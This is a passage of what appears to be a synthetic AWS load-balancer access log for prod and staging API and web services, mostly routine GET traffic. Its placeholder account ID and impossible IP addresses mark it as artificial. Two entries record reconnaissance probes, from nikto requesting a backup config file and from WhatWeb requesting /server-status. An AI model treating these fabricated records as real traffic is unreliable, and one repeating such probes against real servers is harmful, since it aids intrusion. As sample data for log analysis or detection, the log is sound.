"-" 7 2024-11-01T00:04:24.504659Z "forward" "-" "-" "237.23.131.234:80" "200" "-" "-" +https 2024-11-01T00:04:25.823715Z prod-api-alb 44.126.123.62:38577 10.0.180.254:443 0.056208 0.435450 0.085950 301 301 531 3924 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b899-9652e3391cc44921ad6181b2" "prod-api-alb.example.com" "-" 9 2024-11-01T00:04:25.823715Z "forward" "-" "-" "10.0.180.254:443" "301" "-" "-" +http 2024-11-01T00:04:27.585973Z staging-alb 58.141.170.68:23714 162.202.206.219:80 0.042498 0.303997 0.078244 200 200 390 13092 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b89b-771aa8cd14ae4213bfe64361" "staging-alb.example.com" "-" 9 2024-11-01T00:04:27.585973Z "forward" "-" "-" "162.202.206.219:80" "200" "-" "-" +https 2024-11-01T00:04:28.562505Z prod-api-alb 222.202.199.118:64338 10.0.56.116:443 0.047594 0.064973 0.048120 302 302 146 877 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b89c-246dd8a2060f451e81a9ecf2" "prod-api-alb.example.com" "-" 1 2024-11-01T00:04:28.562505Z "forward" "-" "-" "10.0.56.116:443" "302" "-" "-" +https 2024-11-01T00:04:29.766441Z prod-api-alb 249.35.94.62:57340 10.0.98.140:443 0.051529 0.109680 0.011321 200 200 28 1851 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b89d-43e350f923ac4bd0ba32ffd4" "-" "-" 7 2024-11-01T00:04:29.766441Z "forward" "-" "-" "10.0.98.140:443" "200" "-" "-" +https 2024-11-01T00:04:30.994628Z prod-api-alb 118.250.11.34:63795 10.0.250.46:443 0.099209 0.189376 0.046257 200 200 722 5323 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b89e-46b46891b276400aa348e32d" "prod-api-alb.example.com" "-" 4 2024-11-01T00:04:30.994628Z "forward" "-" "-" "10.0.250.46:443" "200" "-" "-" +https 2024-11-01T00:04:31.852676Z prod-api-alb 46.168.112.102:56160 10.0.163.77:443 0.016959 0.167916 0.052584 404 404 795 9884 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b89f-a22158dfed1144029da22fa1" "prod-api-alb.example.com" "-" 4 2024-11-01T00:04:31.852676Z "forward" "-" "-" "10.0.163.77:443" "404" "-" "-" +https 2024-11-01T00:04:32.387294Z prod-api-alb 67.245.57.159:12216 10.0.232.168:443 0.050059 0.240699 0.081425 301 301 738 3444 "GET /api/health HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8a0-4c80f114edb2495a8eb06478" "prod-api-alb.example.com" "-" 1 2024-11-01T00:04:32.387294Z "forward" "-" "-" "10.0.232.168:443" "301" "-" "-" +https 2024-11-01T00:04:32.707670Z prod-api-alb 99.129.178.180:52355 10.0.252.114:443 0.062490 0.149991 0.012312 200 200 228 8955 "GET /api/v1/orders HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8a0-211f184d52844966b8fef8a7" "prod-api-alb.example.com" "-" 2 2024-11-01T00:04:32.707670Z "forward" "-" "-" "10.0.252.114:443" "200" "-" "-" +https 2024-11-01T00:04:33.734024Z staging-alb 222.19.76.231:33809 146.66.238.201:80 0.098748 0.266568 0.098139 404 404 252 4329 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8a1-ba9f67132c5f4789aff16c78" "staging-alb.example.com" "-" 5 2024-11-01T00:04:33.734024Z "forward" "-" "-" "146.66.238.201:80" "404" "-" "-" +https 2024-11-01T00:04:34.751182Z prod-web-alb 12.109.112.164:62986 10.0.73.48:443 0.011234 0.269312 0.093610 200 200 144 6173 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8a2-7d5e915935954be6893c4d18" "prod-web-alb.example.com" "-" 6 2024-11-01T00:04:34.751182Z "forward" "-" "-" "10.0.73.48:443" "200" "-" "-" +https 2024-11-01T00:04:35.612831Z staging-alb 183.81.86.188:47381 253.113.161.205:80 0.095558 0.254695 0.060781 200 200 344 2075 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8a3-820322ab50264049a1338d04" "staging-alb.example.com" "-" 8 2024-11-01T00:04:35.612831Z "forward" "-" "-" "253.113.161.205:80" "200" "-" "-" +https 2024-11-01T00:04:37.024980Z prod-api-alb 255.69.224.149:20508 10.0.238.211:443 0.005695 0.183583 0.036751 200 200 519 2702 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8a5-a212910c6d394265aa52628f" "prod-api-alb.example.com" "-" 8 2024-11-01T00:04:37.024980Z "forward" "-" "-" "10.0.238.211:443" "200" "-" "-" +https 2024-11-01T00:04:37.255244Z prod-api-alb 51.63.192.161:21558 10.0.219.244:443 0.059373 0.419989 0.070789 200 200 297 12543 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8a5-135bb00ad6374da69397d49e" "prod-api-alb.example.com" "-" 5 2024-11-01T00:04:37.255244Z "forward" "-" "-" "10.0.219.244:443" "200" "-" "-" +https 2024-11-01T00:04:37.676137Z prod-web-alb 77.164.130.78:61336 10.0.4.41:443 0.019642 0.323376 0.047267 200 200 860 6531 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8a5-451ce471e78c4ac2b2f54b32" "prod-web-alb.example.com" "-" 7 2024-11-01T00:04:37.676137Z "forward" "-" "-" "10.0.4.41:443" "200" "-" "-" +https 2024-11-01T00:04:39.190340Z prod-api-alb 165.95.152.237:38339 10.0.2.207:443 0.050490 0.014348 0.013970 200 200 680 3606 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8a7-c858022a81754f888592e90a" "prod-api-alb.example.com" "-" 9 2024-11-01T00:04:39.190340Z "forward" "-" "-" "10.0.2.207:443" "200" "-" "-" +https 2024-11-01T00:04:39.613223Z prod-web-alb 76.167.148.25:33811 10.0.51.44:443 0.051545 0.231813 0.000287 200 200 180 12339 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8a7-11ab96c1b63c473bb4f85970" "prod-web-alb.example.com" "-" 9 2024-11-01T00:04:39.613223Z "forward" "-" "-" "10.0.51.44:443" "200" "-" "-" +https 2024-11-01T00:04:39.765978Z staging-alb 26.141.125.231:62880 106.183.161.207:80 0.043684 0.224908 0.002899 404 404 565 5549 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8a7-71426744b1f74d05b522f909" "staging-alb.example.com" "-" 9 2024-11-01T00:04:39.765978Z "forward" "-" "-" "106.183.161.207:80" "404" "-" "-" +https 2024-11-01T00:04:40.804508Z prod-web-alb 176.112.69.33:16387 10.0.51.63:443 0.080403 0.401278 0.064619 302 302 90 1515 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8a8-f940a27a44114f429987ac7b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:04:40.804508Z "forward" "-" "-" "10.0.51.63:443" "302" "-" "-" +http 2024-11-01T00:04:41.170368Z staging-alb 4.173.49.79:43150 103.174.252.170:443 0.106978 0.491656 0.054097 302 302 572 8713 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8a9-d17dbe7236d94937a92bafc4" "staging-alb.example.com" "-" 3 2024-11-01T00:04:41.170368Z "forward" "-" "-" "103.174.252.170:443" "302" "-" "-" +https 2024-11-01T00:04:42.450180Z prod-web-alb 114.4.198.103:22476 10.0.51.189:443 0.049639 0.406102 0.014513 200 200 385 8645 "GET /checkout HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8aa-c7e4a552bbae4fa6985c6062" "prod-web-alb.example.com" "-" 0 2024-11-01T00:04:42.450180Z "forward" "-" "-" "10.0.51.189:443" "200" "-" "-" +https 2024-11-01T00:04:43.005947Z prod-web-alb 228.132.9.243:30172 10.0.62.203:443 0.004271 0.046625 0.039876 302 302 284 9865 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8ab-d9e0b2e81dad4ceba618fc4b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:04:43.005947Z "forward" "-" "-" "10.0.62.203:443" "302" "-" "-" +https 2024-11-01T00:04:44.129667Z prod-api-alb 185.181.55.98:19193 10.0.224.181:443 0.047137 0.182887 0.079719 301 301 688 6612 "POST /config.php~ HTTP/1.1" "nikto/2.1.6" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8ac-1e75e3135f034232a49f9d47" "-" "-" 7 2024-11-01T00:04:44.129667Z "forward" "-" "-" "10.0.224.181:443" "301" "-" "-" +https 2024-11-01T00:04:44.282764Z staging-alb 183.10.246.176:54948 183.182.207.173:8080 0.041684 0.296404 0.133551 200 200 403 9188 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ac-b2105ba52c104fb18723e11e" "staging-alb.example.com" "-" 2 2024-11-01T00:04:44.282764Z "forward" "-" "-" "183.182.207.173:8080" "200" "-" "-" +https 2024-11-01T00:04:45.650841Z staging-alb 170.139.10.126:35919 80.210.136.66:443 0.095316 0.666804 0.057096 200 200 321 4874 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8ad-3568555a47a64f4bb670d580" "staging-alb.example.com" "-" 7 2024-11-01T00:04:45.650841Z "forward" "-" "-" "80.210.136.66:443" "200" "-" "-" +https 2024-11-01T00:04:46.834504Z prod-api-alb 99.4.150.162:12214 10.0.255.210:443 0.019062 0.270406 0.053161 200 200 441 12850 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8ae-e0ae5c6be3cf43cda9022755" "prod-api-alb.example.com" "-" 5 2024-11-01T00:04:46.834504Z "forward" "-" "-" "10.0.255.210:443" "200" "-" "-" +https 2024-11-01T00:04:48.710565Z prod-api-alb 65.221.166.135:22321 10.0.247.119:443 0.027451 0.489503 0.084433 200 200 833 6756 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8b0-be935338e908494089dad559" "prod-api-alb.example.com" "-" 9 2024-11-01T00:04:48.710565Z "forward" "-" "-" "10.0.247.119:443" "200" "-" "-" +https 2024-11-01T00:04:49.336839Z prod-api-alb 43.192.150.98:29303 10.0.191.130:443 0.057406 0.068338 0.099889 200 200 366 14882 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8b1-60cb9623ed274bd09c5dcb79" "prod-api-alb.example.com" "-" 3 2024-11-01T00:04:49.336839Z "forward" "-" "-" "10.0.191.130:443" "200" "-" "-" +http 2024-11-01T00:04:49.639834Z staging-alb 64.114.161.45:43135 60.253.78.82:80 0.017867 0.453597 0.004831 200 200 760 4169 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b1-8a89bd4e63614fd79fcdb722" "staging-alb.example.com" "-" 2 2024-11-01T00:04:49.639834Z "forward" "-" "-" "60.253.78.82:80" "200" "-" "-" +https 2024-11-01T00:04:51.258612Z staging-alb 102.203.110.95:33591 105.6.160.255:80 0.120906 0.021662 0.069641 200 200 111 3506 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b3-1fa1ea9251564b1cb9421525" "staging-alb.example.com" "-" 8 2024-11-01T00:04:51.258612Z "forward" "-" "-" "105.6.160.255:80" "200" "-" "-" +https 2024-11-01T00:04:52.544997Z prod-web-alb 218.117.250.199:13444 10.0.15.67:443 0.011065 0.094737 0.058987 301 301 799 7385 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8b4-6a665cdc90b14438a14a7157" "-" "-" 0 2024-11-01T00:04:52.544997Z "forward" "-" "-" "10.0.15.67:443" "301" "-" "-" +https 2024-11-01T00:04:53.604594Z prod-web-alb 94.53.118.164:35550 10.0.92.29:443 0.014159 0.258868 0.015243 200 200 407 9934 "GET /images/logo.png HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8b5-e6a3b94374d84724a1269565" "prod-web-alb.example.com" "-" 4 2024-11-01T00:04:53.604594Z "forward" "-" "-" "10.0.92.29:443" "200" "-" "-" +https 2024-11-01T00:04:53.745831Z staging-alb 10.148.181.197:18320 139.131.120.83:443 0.028831 0.022210 0.126530 404 404 371 9761 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b5-3ff61d1ebef04e64a8e358f0" "staging-alb.example.com" "-" 3 2024-11-01T00:04:53.745831Z "forward" "-" "-" "139.131.120.83:443" "404" "-" "-" +https 2024-11-01T00:04:54.055448Z staging-alb 51.14.110.218:46737 65.78.135.163:8080 0.031724 0.736166 0.072169 301 301 258 8003 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8b6-2683ca7352064570990a2441" "staging-alb.example.com" "-" 2 2024-11-01T00:04:54.055448Z "forward" "-" "-" "65.78.135.163:8080" "301" "-" "-" +https 2024-11-01T00:04:55.093739Z prod-web-alb 236.91.84.198:63970 10.0.168.86:443 0.020670 0.054965 0.080020 301 301 394 225 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8b7-427f646c469b4669b843bbf9" "prod-web-alb.example.com" "-" 10 2024-11-01T00:04:55.093739Z "forward" "-" "-" "10.0.168.86:443" "301" "-" "-" +https 2024-11-01T00:04:55.595737Z prod-api-alb 106.13.218.181:18450 10.0.129.114:443 0.097630 0.396716 0.097484 200 200 823 11492 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8b7-c47f068e4dbf4dfd8ac92f8c" "prod-api-alb.example.com" "-" 0 2024-11-01T00:04:55.595737Z "forward" "-" "-" "10.0.129.114:443" "200" "-" "-" +https 2024-11-01T00:04:56.168014Z staging-alb 96.74.75.248:44239 240.199.249.255:8080 0.055529 0.099072 0.149524 200 200 446 2464 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8b8-46777edfc2614adbab97f59d" "staging-alb.example.com" "-" 2 2024-11-01T00:04:56.168014Z "forward" "-" "-" "240.199.249.255:8080" "200" "-" "-" +https 2024-11-01T00:04:56.505656Z prod-web-alb 127.197.26.195:37509 10.0.161.55:443 0.091809 0.017365 0.002002 200 200 980 7150 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8b8-4b05f75e973e47d0bf2ef96f" "prod-web-alb.example.com" "-" 6 2024-11-01T00:04:56.505656Z "forward" "-" "-" "10.0.161.55:443" "200" "-" "-" +https 2024-11-01T00:04:58.354597Z staging-alb 166.91.229.225:28255 245.150.179.7:8080 0.095270 0.732702 0.067152 200 200 665 4579 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8ba-1af5133dda224a528fbd138d" "staging-alb.example.com" "-" 9 2024-11-01T00:04:58.354597Z "forward" "-" "-" "245.150.179.7:8080" "200" "-" "-" +http 2024-11-01T00:04:59.495553Z staging-alb 223.86.207.156:63448 37.20.248.5:8080 0.020057 0.740677 0.122386 301 301 938 8981 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8bb-f50dcf2caf9b4d1e837c175e" "staging-alb.example.com" "-" 8 2024-11-01T00:04:59.495553Z "forward" "-" "-" "37.20.248.5:8080" "301" "-" "-" +https 2024-11-01T00:05:01.184176Z prod-api-alb 213.96.164.96:40279 10.0.109.122:443 0.032615 0.297613 0.046385 200 200 516 7164 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723b8bd-df6f892e38a7491aa47a5639" "prod-api-alb.example.com" "-" 0 2024-11-01T00:05:01.184176Z "forward" "-" "-" "10.0.109.122:443" "200" "-" "-" +https 2024-11-01T00:05:02.227624Z prod-web-alb 20.83.91.30:23441 10.0.129.162:443 0.002892 0.263966 0.065040 200 200 770 3508 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8be-f54d601462484b91843dd4a9" "prod-web-alb.example.com" "-" 5 2024-11-01T00:05:02.227624Z "forward" "-" "-" "10.0.129.162:443" "200" "-" "-" +https 2024-11-01T00:05:03.426382Z staging-alb 103.0.24.86:20108 79.222.135.47:443 0.110253 0.459424 0.148804 200 200 457 13068 "GET /web/test HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8bf-42458fcf7f0f40ee9aac96b7" "staging-alb.example.com" "-" 7 2024-11-01T00:05:03.426382Z "forward" "-" "-" "79.222.135.47:443" "200" "-" "-" +https 2024-11-01T00:05:04.212693Z prod-api-alb 102.119.130.208:29013 10.0.247.140:443 0.093022 0.277629 0.081875 200 200 260 2028 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723b8c0-5b9ddd6bd9c44622935315a1" "prod-api-alb.example.com" "-" 4 2024-11-01T00:05:04.212693Z "forward" "-" "-" "10.0.247.140:443" "200" "-" "-" +http 2024-11-01T00:05:04.494081Z staging-alb 62.90.150.159:30953 64.185.242.195:8080 0.013247 0.717182 0.090233 302 302 527 13078 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723b8c0-2d7218f8da3540b1885acbb0" "staging-alb.example.com" "-" 9 2024-11-01T00:05:04.494081Z "forward" "-" "-" "64.185.242.195:8080" "302" "-" "-" +https 2024-11-01T00:05:06.234667Z prod-web-alb 133.22.210.70:54773 10.0.206.173:443 0.021957 0.378422 0.019624 302 302 652 12101 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723b8c2-3571c68255fd4c49b81b36c3" "prod-web-alb.example.com" "-" 5 2024-11-01T00:05:06.234667Z "forward" "-" "-" "10.0.206.173:443" "302" "-" "-" +https 2024-11-01T00:05:07.159445Z staging-alb 45.155.205.9:31982 151.59.206.86:80 0.087097 0.621241 0.041667 403 403 537 2367 "POST /server-status HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723b8c3-a4f27118a0e64038a2ffd1b8" "-" "-" 10 2024-11-01T00:05:07.159445Z "forward" "-" "-" "151.59.206.86:80" "403" "-" "-" +https 2024-11-01T00:05:07.604332Z prod-web-alb 215.248.87.80:21408 10.0.75.120:443 0.044977 0.385878 0.079341 404 404 251 8271 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723b8c3-2e8b5a8f780146fba51284da" "prod-web-alb.example.com" "-" 8 2024-11-01T00:05:07.604332Z "forward" "-" "-" "10.0.75.120:443" "404" "-" "-" +https 2024-11-01T00:05:08.695833Z prod-web-alb 101.120.225.90:42394 10.0.156.245:443 0.093961 0.078791 0.009676 301 301 60 3114 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 